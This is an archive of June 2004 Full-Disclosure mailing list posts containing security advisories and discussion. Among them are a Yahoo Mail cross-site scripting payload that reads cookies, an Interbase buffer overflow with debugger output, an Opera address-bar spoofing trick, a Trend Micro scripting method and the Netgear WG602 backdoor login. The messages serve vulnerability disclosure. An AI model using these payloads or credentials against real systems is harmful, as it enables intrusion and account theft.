????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????0???A

GOGGLES realize that to exploit problem rlimit has to be raised, which
can only be done as root, even with local access. But, GOGGLES and pagans
reasoned, if server such as inetd or so raises rlimit by itself to something
higher than 1024 then by making connections we can call FD_SET and overflow
fd_set structure with bits.

GOGGLES believes in perfect world, and therefore will not release proof
of concept exploit, since in perfect world no crackers exist who will
run it, and every administrator is smart enough to see problem from
illustrations above.

GOGGLES does not want contact about this bug, and since pagans do not
have telephones GOGGLES does not have way to reach them for more
information.
However, provided are following numbers of company trying to make big
money by stealing pagan techniques and not aim to make world a good place
to live in, so people can ask for more information about financial
exploitation of software consumers for information which is free in perfect
world. This is great way to start your own security company.
        +31-70-3111010 (ask for Patrick Oonk or Mark Lastdrager)
        +31-70-3107390 (ask for Iljitsch van Beijnum)
        +31-50-5420781 (ask for Joost Pol or the hacker that defaced
                        cn.freebsd.org)
        +31-6-26630263 or +31-6-53760017 (ask for {} or if you cannot
                                          pronounce this, ask for the
                                          hacker that defaced apache.org)
Or send fax of favourite underpants worn for weeks to:
        +31-70-3111011
        +31-70-3635911
GOGGLES is sad to not know for sure if all numbers work, but at least
should be enough to provide public with usable information.


GOGGLES hopes to have made world slightly better place this way, and
prevent commercial rip-off of poor software consumers and false claims
to discovery we see from many security company, and especially XFORCE-
ISS.

        Signed,
                GOGGLES
-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkC++x8ACgkQ42dM9omIJ0TrFgCfesdGtJMDWC1yFPqf41UUhXn2+N0A
n3Y8l4IcFYnNIo0/g4AQKrDZVi8U
=fvjl
-----END PGP SIGNATURE-----




Concerned about your privacy? Follow this link to get
FREE encrypted email: https://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
https://www.hushmail.com/services.php?subloc=messenger&l=434

Promote security and make money with the Hushmail Affiliate Program: 
https://www.hushmail.com/about.php?subloc=affiliate&l=427



From noamr at beyondsecurity.com  Thu Jun  3 11:36:33 2004
From: noamr at beyondsecurity.com (Noam Rathaus)
Date: Thu, 3 Jun 2004 13:36:33 +0300
Subject: [Full-Disclosure] Re: Firebird [ AND Interbase 7 ]  Database Remote Database Name Overflow
In-Reply-To: <40BE8707.6090707@secnetops.com>
References: <200406012040.14839.aviram@beyondsecurity.com> <200406021043.25680.noamr@beyondsecurity.com> <40BE8707.6090707@secnetops.com>
Message-ID: <200406031336.33787.noamr@beyondsecurity.com>

On Thursday 03 June 2004 05:03, KF (lists) wrote:
> Someone that has had some success communicating things security wise to
> Borland may wish to contact them about this.
>
> [root at CloneRiot bin]# rpm -ivh /root/InterBaseSS_LI-V7.1.0-1.i386.rpm
>
> [kf at CloneRiot bin]$ pwd
> /opt/interbase/bin
> [kf at CloneRiot bin]$ ./gsec -database 127.0.0.1:`perl -e'print ("A"x300)'`
>
> (gdb) c
> Continuing.
> [New Thread 1085279152 (LWP 21355)]
> [New Thread 1095769008 (LWP 21356)]
> [New Thread 1106258864 (LWP 21357)]
>
> Program received signal SIGSEGV, Segmentation fault.
> [Switching to Thread 1085279152 (LWP 21355)]
> 0x41414141 in ?? ()
> (gdb) bt
> #0  0x41414141 in ?? ()
> #1  0x41414141 in ?? ()
> #2  0x41414141 in ?? ()
> ...
> #35 0x41414141 in ?? ()
> #36 0x41414141 in ?? ()
> (gdb)
>
> (gdb) i r
> eax            0x0      0
> ecx            0x82025e4        136324580
> edx            0x0      0
> ebx            0x81fe29c        136307356
> esp            0x40aff5f8       0x40aff5f8
> ebp            0x41414141       0x41414141
> esi            0x12c    300
> edi            0x40affab8       1085274808
> eip            0x41414141       0x41414141
> eflags         0x10246  66118
>
> (gdb) x/1s $esp
> 0x40aff5f8:      'A' <repeats 144 times>
>
> [root at CloneRiot interbase]# ./bin/ibserver
> Segmentation fault
> -KF
>
> Noam Rathaus wrote:
> >On Sunday 02 June 2002 01:52, KF (lists) wrote:
> >>So is this firebird specific or does it also impact Borland Interbase
> >>users?
> >>-KF
> >
> >We haven't tested Borland's Interbase as we didn't have any installation
> >available for testing. However I can assume that since this vulnerability
> >appears in version 1.0.2, which is of very close resemblance to Borland's
> >Interbase sources, that the vulnerability may also affect it.
Hi,

Well it appears that the Borland version is a bit more vulnerable, or in other 
words more exploitable, as in the Firebird I was unable to directly modify 
EIP, while it appears that the Borland version's EIP is easily modifyable.

Thank you for the assistance in verifying whether Borland's Interbase is also 
vulnerable.

-- 
Thanks
Noam Rathaus
CTO
Beyond Security Ltd.

Join the SecuriTeam community on Orkut:
http://www.orkut.com/Community.aspx?cmm=44441



From blancher at cartel-securite.fr  Thu Jun  3 10:47:54 2004
From: blancher at cartel-securite.fr (Cedric Blancher)
Date: Thu, 03 Jun 2004 11:47:54 +0200
Subject: [Full-Disclosure] watch guard
In-Reply-To: <006a01c4494b$b8c639b0$9f64a8c0@eng>
References: <006a01c4494b$b8c639b0$9f64a8c0@eng>
Message-ID: <1086256074.1960.10.camel@anduril.intranet.cartel-securite.net>

Le jeu 03/06/2004 ? 11:18, sudharsha a ?crit :
> Does any one know a vulnarability in Watch guard?

http://www.cartel-securite.fr/pbiondi/adv/CARTSA-20030314-icmpleak.txt

It applied to watchguard boxes, but is patched, and firewalls should now
be shipped with non vulnerable firmwares.

-- 
http://www.netexit.com/~sid/
PGP KeyID: 157E98EE FingerPrint: FA62226DA9E72FA8AECAA240008B480E157E98EE
>> Hi! I'm your friendly neighbourhood signature virus.
>> Copy me to your signature file and help me spread!



From security at greymagic.com  Thu Jun  3 14:52:32 2004
From: security at greymagic.com (GreyMagic Software)
Date: Thu, 3 Jun 2004 15:52:32 +0200
Subject: [Full-Disclosure] Simple Yahoo! Mail Cross-Site Scripting (GM#006-MC)
Message-ID: <20040603125050.6E270FC0C3@bela.bezeqint.net>

GreyMagic Security Advisory GM#006-MC
=====================================

GreyMagic Software, 03 Jun 2004.

Available in HTML format at
http://www.greymagic.com/security/advisories/gm006-mc/.

Topic: Simple Yahoo! Mail Cross-Site Scripting.

Discovery date: 16 May 2004.

Affected applications:
======================

* Yahoo! web-based email service.


Introduction:
=============

Web-based email services and Yahoo! specifically make tremendous efforts to
sanitize incoming emails from potentially unsafe HTML content. Flawed
filtering of such unsafe content may result in severe consequences that
would occur as soon as a user opens an email for reading, including: 

* Theft of login and password. 
* Content disclosure of any email in the mailbox. 
* Automatically send emails from the mailbox. 
* Exploitation of known vulnerabilities in the browser to access the user's
file system and eventually take over the machine. 
* Distribution of a web-based email worm. 
* Disclosure of all contacts within the address book. 


Discussion: 
===========

GreyMagic discovered that by sending a maliciously formed email to a Yahoo
user it is possible to circumvent the filter and execute script in the
context of a logged-in Yahoo! user. 

A known Cross-Site Scripting weakness is using entities instead of actual
chars, for example: "jav&#97script:alert()". There is also a variation of
that weakness, caused by the way browsers ignore white-space chars in URLs:
"java&#13;script:alert()". Yahoo! properly filters both of these scenarios. 

However, a third variation remains unfiltered. It is possible to embed a
javascript URL by using a white-space entity with multiple zero chars in
front of it: "java&#000013;script:alert()". 


Exploit: 
========

The following HTML embedded in an email would show a Yahoo! user's cookie
when opened: 

<div
style="background-image:url(jav&#000013;ascript:alert(document.cookie))">Hel
lo!</div> 


Solution: 
=========

GreyMagic informed Yahoo! of the vulnerability on 20-May-2004. Yahoo!
responded promptly and reported that it patched the vulnerability on
24-May-2004. 


Tested on: 
==========

Yahoo! web-based email service.


Disclaimer:
===========

The information in this advisory and any of its demonstrations is provided
"as is" without warranty of any kind. 

GreyMagic Software is not liable for any direct or indirect damages caused
as a result of using the information or demonstrations provided in any part
of this advisory. 

- Copyright ? 2004 GreyMagic Software.



From security at greymagic.com  Thu Jun  3 14:53:59 2004
From: security at greymagic.com (GreyMagic Software)
Date: Thu, 3 Jun 2004 15:53:59 +0200
Subject: [Full-Disclosure] Phishing for Opera (GM#007-OP)
Message-ID: <20040603125216.051B8FC42D@marco.bezeqint.net>

GreyMagic Security Advisory GM#007-OP
=====================================

By GreyMagic Software, 03 Jun 2004.

Available in HTML format at
http://security.greymagic.com/security/advisories/gm007-op/.

Topic: Phishing for Opera.

Discovery date: 16 May 2004.

Affected applications:
======================

Opera 7.50 and prior. 


Introduction:
=============

Most browsers today implement a "Shortcut Icon" (favicon) feature. This
feature gives web-sites the option to add a small icon to the address bar
and/or favorites. 

Opera also implements this feature. However, unlike other browsers, Opera
allows the use of icons that may be large in width. 


Discussion: 
===========

It is possible to use this feature in Opera to fool users into believing
that they are in a domain they trust (their bank, web-mail, etc) while
serving and receiving content in a hostile domain. Thereby enabling identity
theft, credit card scams and more. 

This can be done by creating an icon that contains the text of the desired
site, which would be similar in appearance to the way Opera shows addresses
in the address bar. 

This alone, however, is not enough, as it will cause the real address to
appear to the right of the fake address. Unfortunately, this too can be
circumvented by tricking Opera into showing the right-hand side of the
attacking URL, while filling that side with spaces. 

The result is a very convincing fake address appearing in the address bar. 


Exploit: 
========

Create an image that looks like an address in Opera's address bar and use
the following element to include it in a page: 

<link rel="shortcut icon" href="linkToFakeAddress.gif"> 


Demonstration:
==============

A proof-of-concept demonstration of this issue is available at
http://security.greymagic.com/security/advisories/gm007-op/.


Solution: 
=========

GreyMagic informed Opera of the vulnerability on 19-May-2004. A new version
(7.51) was released on 03-Jun-2004 to address this problem.  


Tested on: 
==========

Opera 7.23.
Opera 7.50.


Disclaimer: 
===========

The information in this advisory and any of its demonstrations is provided
"as is" without warranty of any kind. 

GreyMagic Software is not liable for any direct or indirect damages caused
as a result of using the information or demonstrations provided in any part
of this advisory. 

- Copyright ? 2004 GreyMagic Software.



From _ at r4k.net  Thu Jun  3 14:50:04 2004
From: _ at r4k.net (Stephanie Wehner)
Date: Thu, 3 Jun 2004 15:50:04 +0200
Subject: [Full-Disclosure] analysis (more worms wanted :) )
Message-ID: <20040603135003.GQ50382@r4k.net>

Hi,

First of all, thanks to everyone who provided me with worms as a
response to my last email.

So far I have analyzed the executables (or scripts) of worms, where
my aim was to determine the familiy of an unknown worm. (different 
versions of the same worm form a family) This worked quite well, for
example for Sasser D as input, it was easy to tell that it belongs to
the Sasser family. 

You can view some pictures at http://www.cwi.nl/~wehner/worms, where
you can also find more information about the approach I used.
Note that this is *work in progress*. I'm looking for more worms
to analyze. Unfortunately I don't have any lab setup/multiple machines/ips
to collect them easily. (This is a fun project, my main area of research
lies elsewhere.)

I have also looked at network traffic, which works quite well for general
traffic. I will post more about this on my webpage in the near future. 
However, I am now especially looking for traffic generated by worms. :)

Thanks,
Stephanie

--<> _ at r4k.net <>------------------<> FreeBSD <>-------------------
#3 - Anime Law of Sonic Amplification, First Law of Anime Acoustics
In space, loud sounds, like explosions, are even louder because
there is no air to get in the way.



From SkyLined at edup.tudelft.nl  Thu Jun  3 15:12:49 2004
From: SkyLined at edup.tudelft.nl (Berend-Jan Wever)
Date: Thu, 3 Jun 2004 16:12:49 +0200
Subject: [Full-Disclosure] Simple Yahoo! Mail Cross-Site Scripting (GM#006-MC)
References: <20040603125050.6E270FC0C3@bela.bezeqint.net>
Message-ID: <000701c44974$da2db8c0$0100a8c0@grotedoos>

When I was into finding XSS, I found holes in just about every web-based
email provider with relative ease... The only one that I found was pretty
hardened was hotmail (Probably because everyone is trying to find holes all
the time).
I bet this is still just the tip of the iceberg for yahoo, keep up the good
work.

Oh, here's one I found long time ago (yahoo), they probably fixed it by now,
but I haven't checked:
<STYLE>*{width:expression( eval(alert("hello, world!"); )}</STYLE>

BTW. Long time no advisory, guys. I thought you had quit... What have you
been up to ?

Cheers,
SkyLined


----- Original Message ----- 
From: "GreyMagic Software" <security at greymagic.com>
To: <full-disclosure at lists.netsys.com>
Sent: Thursday, June 03, 2004 15:52
Subject: [Full-Disclosure] Simple Yahoo! Mail Cross-Site Scripting
(GM#006-MC)


> GreyMagic Security Advisory GM#006-MC
> =====================================
>
> GreyMagic Software, 03 Jun 2004.
>
> Available in HTML format at
> http://www.greymagic.com/security/advisories/gm006-mc/.
>
> Topic: Simple Yahoo! Mail Cross-Site Scripting.
>
> Discovery date: 16 May 2004.
>
> Affected applications:
> ======================
>
> * Yahoo! web-based email service.
>
>
> Introduction:
> =============
>
> Web-based email services and Yahoo! specifically make tremendous efforts
to
> sanitize incoming emails from potentially unsafe HTML content. Flawed
> filtering of such unsafe content may result in severe consequences that
> would occur as soon as a user opens an email for reading, including:
>
> * Theft of login and password.
> * Content disclosure of any email in the mailbox.
> * Automatically send emails from the mailbox.
> * Exploitation of known vulnerabilities in the browser to access the
user's
> file system and eventually take over the machine.
> * Distribution of a web-based email worm.
> * Disclosure of all contacts within the address book.
>
>
> Discussion:
> ===========
>
> GreyMagic discovered that by sending a maliciously formed email to a Yahoo
> user it is possible to circumvent the filter and execute script in the
> context of a logged-in Yahoo! user.
>
> A known Cross-Site Scripting weakness is using entities instead of actual
> chars, for example: "jav&#97script:alert()". There is also a variation of
> that weakness, caused by the way browsers ignore white-space chars in
URLs:
> "java&#13;script:alert()". Yahoo! properly filters both of these
scenarios.
>
> However, a third variation remains unfiltered. It is possible to embed a
> javascript URL by using a white-space entity with multiple zero chars in
> front of it: "java&#000013;script:alert()".
>
>
> Exploit:
> ========
>
> The following HTML embedded in an email would show a Yahoo! user's cookie
> when opened:
>
> <div
>
style="background-image:url(jav&#000013;ascript:alert(document.cookie))">Hel
> lo!</div>
>
>
> Solution:
> =========
>
> GreyMagic informed Yahoo! of the vulnerability on 20-May-2004. Yahoo!
> responded promptly and reported that it patched the vulnerability on
> 24-May-2004.
>
>
> Tested on:
> ==========
>
> Yahoo! web-based email service.
>
>
> Disclaimer:
> ===========
>
> The information in this advisory and any of its demonstrations is provided
> "as is" without warranty of any kind.
>
> GreyMagic Software is not liable for any direct or indirect damages caused
> as a result of using the information or demonstrations provided in any
part
> of this advisory.
>
> - Copyright ? 2004 GreyMagic Software.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html



From fulldisc at sun.consumer.org.il  Thu Jun  3 15:35:22 2004
From: fulldisc at sun.consumer.org.il (Shachar Shemesh)
Date: Thu, 03 Jun 2004 17:35:22 +0300
Subject: [Full-Disclosure] Strange TCP/IP DNS traffic
Message-ID: <40BF372A.2040505@sun.consumer.org.il>

Hi all,

A few days ago I started seeing outbound TCP connection on port 53, 
aimed at the .com NS servers. These were blocked by the firewall. I 
realize that this does not violate any RFC, but it's still unusual.

The outbound traffic is not generated by the local bind installation, 
which was asked to bind to port 53 for outbound traffic. Also, 
/etc/resolv.conf lists 127.0.0.1 as the nameserver, so as far as I 
understand such traffic should not be initiated by user programs.

Anyone has any idea what that may be?

             Shachar

-- 
Shachar Shemesh
Lingnu Open Source Consulting
http://www.lingnu.com/



From nils at druecke.strg-alt-entf.org  Thu Jun  3 16:29:25 2004
From: nils at druecke.strg-alt-entf.org (Nils Ketelsen)
Date: Thu, 3 Jun 2004 11:29:25 -0400
Subject: [Full-Disclosure] Strange TCP/IP DNS traffic
In-Reply-To: <40BF372A.2040505@sun.consumer.org.il>
References: <40BF372A.2040505@sun.consumer.org.il>
Message-ID: <20040603152925.GA12352@bug>

On Thu, Jun 03, 2004 at 05:35:22PM +0300, Shachar Shemesh wrote:

> The outbound traffic is not generated by the local bind installation, 
> which was asked to bind to port 53 for outbound traffic. Also, 
> /etc/resolv.conf lists 127.0.0.1 as the nameserver, so as far as I 
> understand such traffic should not be initiated by user programs.
> 
> Anyone has any idea what that may be?

Easiest guess: Some user doing an host or nslookup or something, by hand
choosing to send it to the nameserver the packets are targeted to. Something
like "host -t ns microsoft.com H.GTLD-SERVERS.NET"

Or some stupid application not using the gethostbyname systemcall but
rather implementing it itself. There are some people out there believing
they can do it better than the system call. Most of them screwed it up.

Nils
-- 
Nils Ketelsen  // Mississauga, Canada
43? 35' 13"N, 79? 38' 23"W
mailto:`#!/bin/sh`@druecke.strg-alt.entf.org
http://druecke.strg-alt-entf.org/



From full-disclosure at nym.hush.com  Thu Jun  3 16:49:23 2004
From: full-disclosure at nym.hush.com (full-disclosure at nym.hush.com)
Date: Thu,  3 Jun 2004 08:49:23 -0700
Subject: [Full-Disclosure] Strange TCP/IP DNS traffic
Message-ID: <200406031549.i53FnO46016148@mailserver3.hushmail.com>

> Also, /etc/resolv.conf lists 127.0.0.1 as the nameserver, so 
> as far as I understand such traffic should not be initiated 
> by user programs.

It sounds like named is running on your computer.  Depending on your
OS, netstat -anp might show you which application initiated the requests.



From list at rachinsky.de  Thu Jun  3 17:06:40 2004
From: list at rachinsky.de (Nicolas Rachinsky)
Date: Thu, 3 Jun 2004 18:06:40 +0200
Subject: [Full-Disclosure] Strange TCP/IP DNS traffic
In-Reply-To: <40BF372A.2040505@sun.consumer.org.il>
References: <40BF372A.2040505@sun.consumer.org.il>
Message-ID: <20040603160640.GA58170@pc5.i.0x5.de>

* Shachar Shemesh <fulldisc at sun.consumer.org.il> [2004-06-03 17:35 +0300]:
> The outbound traffic is not generated by the local bind installation, 
> which was asked to bind to port 53 for outbound traffic. Also, 

man named.conf:
  Query Address
     If the server doesn't know the answer to a question, it will query other
     nameservers.  query-source specifies the address and port used for such
     queries.  If address is * or is omitted, a wildcard IP address (
     INADDR_ANY) will be used.  If port is * or is omitted, a random unprivi-
     leged port will be used.  The default is
           query-source address * port *;

     Note: query-source currently applies only to UDP queries; TCP queries
     always use a wildcard IP address and a random unprivileged port.



From fulldis at frenchfries.net  Thu Jun  3 17:11:59 2004
From: fulldis at frenchfries.net (fulldis at frenchfries.net)
Date: Thu, 3 Jun 2004 09:11:59 -0700 (PDT)
Subject: [Full-Disclosure] Format String Vulnerability in Tripwire
In-Reply-To: <20040602234116.9A3674A5B@frenchfries.net>
References: <20040602234116.9A3674A5B@frenchfries.net>
Message-ID: <20040603161159.C86804A72@frenchfries.net>

On Wed, 2 Jun 2004, Paul Herman wrote:

> VERSIONS AFFECTED
> -----------------
> Tripwire commercial versions <= 2.4
> [...]

Typo.  That should be '4.2' and not '2.4'.

-Paul.



From clarke at craftedpackets.net  Thu Jun  3 17:24:33 2004
From: clarke at craftedpackets.net (clarke at craftedpackets.net)
Date: Thu, 3 Jun 2004 12:24:33 -0400
Subject: [Full-Disclosure] Using Xbox live for covert communication
Message-ID: <200406031624.BQF64929@ms2.netsolmail.com>

Recently, I subscribed to Xbox live. After playing on some of
the games online, I thought that this is a perfect place for
covert communication. 

There rooms aren't monitored. You can open up private rooms
and communicate with invited friends. 

Who knows... :-) 



From 1 at malware.com  Thu Jun  3 17:28:39 2004
From: 1 at malware.com (http-equiv@excite.com)
Date: Thu, 3 Jun 2004 16:28:39 -0000
Subject: [Full-Disclosure] TREND MICRO: The Protector Becomes The Vector [technical exercise: cross-application-scripting]
Message-ID: <200406031628.i53GSdc0023610@web120.megawebservers.com>


Thursday, June 03, 2004

The following represents an interesting technical examination 
when the so-called "Anti-Virus" protector becomes the 
Virus "Vector". Naturally this is the result of relying on 
the "plug and play" or "module" of one Internet Explorer browser 
and operating system from a  product "innovator" called 
Microsoft.

Trend Micro [ http://www.trendmicro.com ], a purveyor of 
gadgetry designed to 'protect' the little people on the 
Information Super Highway from a seemingly endless stream of 
traffic of obstacles collectively known as "malware", has a very 
nice little apparatus to achieve this. 

The "Trend Micro Internet Security model no. 1120 1311 engine 
version: 7.100" with all the bells and whistles. Lengthy 
examination confirms that it does its job and it does its job 
quite well. 

However:

For whatever inexplicable reason, it [and perhaps others] relies 
on the time-tested insecure device known as the Microsoft 
Internet Explorer. It uses this incredible derelict 'thing' to 
generate its reports; that is when the "Anti-Virus" gadget 
encounters an opponent, the "malware" of the day, it alerts and 
indicates precisely what the problem is.

Sounds Good:

Knowing what it uses and where it uses it, we then have to work 
backwards and devise a method to 'cross-application-scripting' 
our arbitrary code into the device in order to coax it to do our 
work for us.

Specifically:

1. When the product alerts it creates an html file in the 
temporary file of the user's machine [the so-called "local zone"]

[screen shot: http://www.malware.com/weallcar.png 29KB ]

This html file is viewed from an Internet Explorer "browser  
object" and indicates what file is problematic.

2. Technically [so far] in order to make use of all of this we 
need to name our problematic file a suitable name with suitable 
html tags to render as we require. At present the actual browser 
and operating system automatically filter this {<script>.com 
becomes _script_.com].

3. We need a container to achieve this and do so like this:

PK
     ???(<?QhD   D       <img>.comX5O!P%@AP[4[snip ](P^)7CC)7}
$EICAR-STANDARD-ANTIVIRUS-TEST-FILE![snip] +H*PK

     ???(<?QhD   D           
         eicar.comPK    
 
 7   
k     

4. Now when our so-called "real time scan" encounters our 
problematic file it will alert like so:

[screen shot: http://www.malware.com/ucar.png 43KB]

5.  And as has been demonstrated now at bare minimum 4 years 
[see: http://www.malware.com for a small smattering of examples] 
anything run from the local computer zone, the so called 
Microsoft "My Computer" zone in the integrated Explorer can 
effectively take full and complete control of the users computer.

CAREFULLY NOTE: 

a) the default setting of this particular Trend Micro device 
does not automatically scan inside .zip files on download 
for demonstration purposes it must be enabled.

b) manual re-construction of the .zip file in order to meet the 
checksum which would allow script writing back into the temp 
file would be required

Working Example:

http://www.malware.com/icar.html

Notes:

1. This is a technical exercise demonstrating 'cross-application 
scripting'. Practical implementation at present should prove 
impractical

2. Developers do not ! put your html files in the temp folders



End Call

-- 
http://www.malware.com









From matthew at ploessel.com  Thu Jun  3 17:17:25 2004
From: matthew at ploessel.com (Matthew Ploessel)
Date: Thu, 3 Jun 2004 09:17:25 -0700
Subject: [Full-Disclosure] Strange TCP/IP DNS traffic
In-Reply-To: <40BF372A.2040505@sun.consumer.org.il>
Message-ID: <003a01c44986$43d8bf20$6602a8c0@laptop>

Shachar,

UDP port 53 is normally used for general dns traffic, however anytime
there is more then 576 bytes of data being transferred the DNS protocol
migrates up to TCP. Common reasons for this is for zone transfers or
overall large server replies. Most likely your bind server or a user
and/or user application is doing some type of resolving which returns a
large reply and thus traggering the use of tcp traffic..  I haven't
looked up the details of the rfc lately, but tcp is part of the dns
protocol, although just like you, many environments block it. If you
still want to, setup tcpdump for afew days and see if you get any
explaination for whats going on.

-Matt



-----Original Message-----
From: full-disclosure-admin at lists.netsys.com
[mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of Shachar
Shemesh
Sent: Thursday, June 03, 2004 7:35 AM
To: full-disclosure at netsys.com
Subject: [Full-Disclosure] Strange TCP/IP DNS traffic


Hi all,

A few days ago I started seeing outbound TCP connection on port 53, 
aimed at the .com NS servers. These were blocked by the firewall. I 
realize that this does not violate any RFC, but it's still unusual.

The outbound traffic is not generated by the local bind installation, 
which was asked to bind to port 53 for outbound traffic. Also, 
/etc/resolv.conf lists 127.0.0.1 as the nameserver, so as far as I 
understand such traffic should not be initiated by user programs.

Anyone has any idea what that may be?

             Shachar

-- 
Shachar Shemesh
Lingnu Open Source Consulting
http://www.lingnu.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



From knienieder at khamsin.ch  Thu Jun  3 18:35:22 2004
From: knienieder at khamsin.ch (Tom Knienieder)
Date: Thu, 3 Jun 2004 19:35:22 +0200 (CEST)
Subject: [Full-Disclosure] Netgear WG602 Accesspoint vulnerability
Message-ID: <Pine.GSO.4.33.0406031903380.14119-100000@shamal.khamsin.ch>


KHAMSIN Security News
KSN Reference: 2004-06-03 0001 TIP
---------------------------------------------------------------------------

Title
-----
        The Netgear WG602 Accesspoint contains an undocumented
        administrative account.

Date
----
        2004-06-03


Description
-----------

The webinterface which is reachable from both interfaces (LAN/WLAN)
contains an undocumented administrative account which cannot be disabled.

Any user logging in with the username "super" and the password "5777364"
is in complete control of the device.

This vulnerability can be exploited by any person which is able to reach
the webinterface of the device with a webbrowser.

A search on Google revealed that "5777364" is actually the phonenumber
of z-com Taiwan which develops and offers WLAN equipment for its OEM
customers.

Currently it is unknown whether other Vendors are shipping products
based on z-com OEM designs.


Systems Affected
----------------

        Vulnerable (verified)
                WG602 with Firmware Version 1.04.0

        Possibly vulnerable (not verified)
                WG602 with other Firmware Versions
                WG602v2
                All other z-com derived WLAN Accesspoints


Proof of concept
----------------

        Download the WG602 Version 1.5.67 firmware from Netgear
        ( http://kbserver.netgear.com/support_details.asp?dnldID=366 )
        and run the following shell commands on a UNIX box:

        $ dd if=wg602_1.5.67_firmware.img bs=1 skip=425716 > rd.img.gz
        $ zcat rd.img.gz | strings | grep -A5 -B5 5777364

        Which results in the following output:

                %08lx:%08lx:%s
                %08lx%08lx%08lx%08lx
                Authorization
                BASIC
                super 			<---- Username
                5777364 		<---- Password
                %02x
                Content-length
                HTTP_USER_AGENT
                HTTP_ACCEPT
                SERVER_PROTOCOL

Disclaimer
----------

        This advisory does not claim to be complete or to be usable for
        any purpose. Especially information on the vulnerable systems may
        be inaccurate or wrong. Possibly supplied exploit code is not to
        be used for malicious purposes, but for educational purposes only.
        This advisory is free for open distribution in unmodified form.

        http://www.khamsin.ch



---------------------------------------------------------------
KHAMSIN Security GmbH     Zuercherstr. 204 / CH-9014 St. Gallen
http://www.khamsin.ch
---------------------------------------------------------------











From PerrymonJ at bek.com  Thu Jun  3 18:54:10 2004
From: PerrymonJ at bek.com (Perrymon, Josh L.)
Date: Thu, 3 Jun 2004 12:54:10 -0500 
Subject: [Full-Disclosure] anyone seen this worm/trojan  before?
Message-ID: <5E1F351F4AE1D611A7FE00B0D0AB064A0235328C@is6b>

I found this worm/ trojan on a laptop. Ran FPort and found the .exe.
Doesn't look like it propagates to other machines but rather communicates
with a compromised 
web companies server using IRC. The compromised server has removed the IRC
service. Only sends RST packets back.

I put it on my site.

http://www.packetfocus.com/analysis.htm

I would like to know the attack vectors. I'm guessing LSASS.

Joshua Perrymon
PGP Fingerprint
51B8 01AC E58B 9BFE D57D  8EF6 C0B2 DECF EC20 6021

**********CONFIDENTIALITY NOTICE**********
The information contained in this e-mail may be proprietary and/or 
privileged and is intended for the sole use of the individual or 
organization named above.  If you are not the intended recipient or an 
authorized representative of the intended recipient, any review, copying
or distribution of this e-mail and its attachments, if any, is prohibited.
If you have received this e-mail in error, please notify the sender
immediately by return e-mail and delete this message from your system.





From tcguesr at tcc.edu  Thu Jun  3 18:42:02 2004
From: tcguesr at tcc.edu (Robert Guess)
Date: Thu, 03 Jun 2004 13:42:02 -0400
Subject: [Full-Disclosure] RE: Verysign
Message-ID: <s0bf2aad.073@emailc.tcc.edu>

Valdis,

I am suprised that you don't know this one!  "Verysign" is Ettercap
0.6.x's default SSL MITM Certificate. They are dealing with a very lazy
attacker... one who doesn't bother to create their own certs.  I do like
your comment "Given how little *real* security a signed cert creates,
it's probably not worth worrying about."  Funny stuff.

Best regards,

Rob

<snip>
> I've been getting SSL certificates from various websites recently
that are
> apparently from a "VerySign Class 1 Authority" - note the 'y' in
VerySign.
> The certificate expired 6 December 2002.

> The data in Issued To and Issued By are identical.

> This smells very much like an SSL hijack attempt - can anyone shed
some
> light on the situation?

Valdis spracht:

"Or some webserver package that builds a self-signed certificate so SSL
works
without having to pay Verisign, and does so in a "cute" manner that
users are
likely to accept the cert without thinking about it. It's probably NOT
a hijack
attempt unless you have *OTHER* evidence of that (phishy-looking
redirect
javascript on the page, etc....)

Given how little *real* security a signed cert creates, it's probably
not worth
worrying about."
</snip>

Robert Guess
Instructor, Information Systems Technology
Tidewater Community College
(757) 822-5022

()  ascii ribbon campaign 
/\  against html email 



From debian-security-announce at lists.debian.org  Thu Jun  3 19:10:32 2004
From: debian-security-announce at lists.debian.org (debian-security-announce at lists.debian.org)
Date: Thu, 3 Jun 2004 11:10:32 -0700
Subject: [Full-Disclosure] [SECURITY] [DSA 513-1] New log2mail packages fix format string vulnerabilities
Message-ID: <20040603181031.GT19402@alcor.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --------------------------------------------------------------------------
Debian Security Advisory DSA 513-1                     security at debian.org
http://www.debian.org/security/                             Matt Zimmerman
June 3rd, 2004                          http://www.debian.org/security/faq
- --------------------------------------------------------------------------

Package        : log2mail
Vulnerability  : format string
Problem-Type   : local/remote
Debian-specific: no
CVE Ids        : CAN-2004-0450

jaguar at felinemenace.org discovered a format string vulnerability in
log2mail, whereby a user able to log a specially crafted message to a
logfile monitored by log2mail (for example, via syslog) could cause
arbitrary code to be executed with the privileges of the log2mail
process.  By default, this process runs as user 'log2mail', which is a
member of group 'adm' (which has access to read system logfiles).

CAN-2004-0450: log2mail format string vulnerability via syslog(3) in
printlog()

For the current stable distribution (woody), this problem has been
fixed in version 0.2.5.2.

For the unstable distribution (sid), this problem will be fixed soon.

We recommend that you update your log2mail package.

Upgrade Instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.

Debian GNU/Linux 3.0 alias woody
- --------------------------------

  Source archives:

    http://security.debian.org/pool/updates/main/l/log2mail/log2mail_0.2.5.2.dsc
      Size/MD5 checksum:      483 2a1a8392e2e4ef146ad437e8d0abfd3b
    http://security.debian.org/pool/updates/main/l/log2mail/log2mail_0.2.5.2.tar.gz
      Size/MD5 checksum:    29532 a593de7eb31e492bcaec9f2cbf0d8c8a

  Alpha architecture:

    http://security.debian.org/pool/updates/main/l/log2mail/log2mail_0.2.5.2_alpha.deb
      Size/MD5 checksum:    70318 a09d0a7d8585c1c4845e5fe479e7d94f

  ARM architecture:

    http://security.debian.org/pool/updates/main/l/log2mail/log2mail_0.2.5.2_arm.deb
      Size/MD5 checksum:    31408 92dea5294c75b0b3befc50584de55b3a

  Intel IA-32 architecture:

    http://security.debian.org/pool/updates/main/l/log2mail/log2mail_0.2.5.2_i386.deb
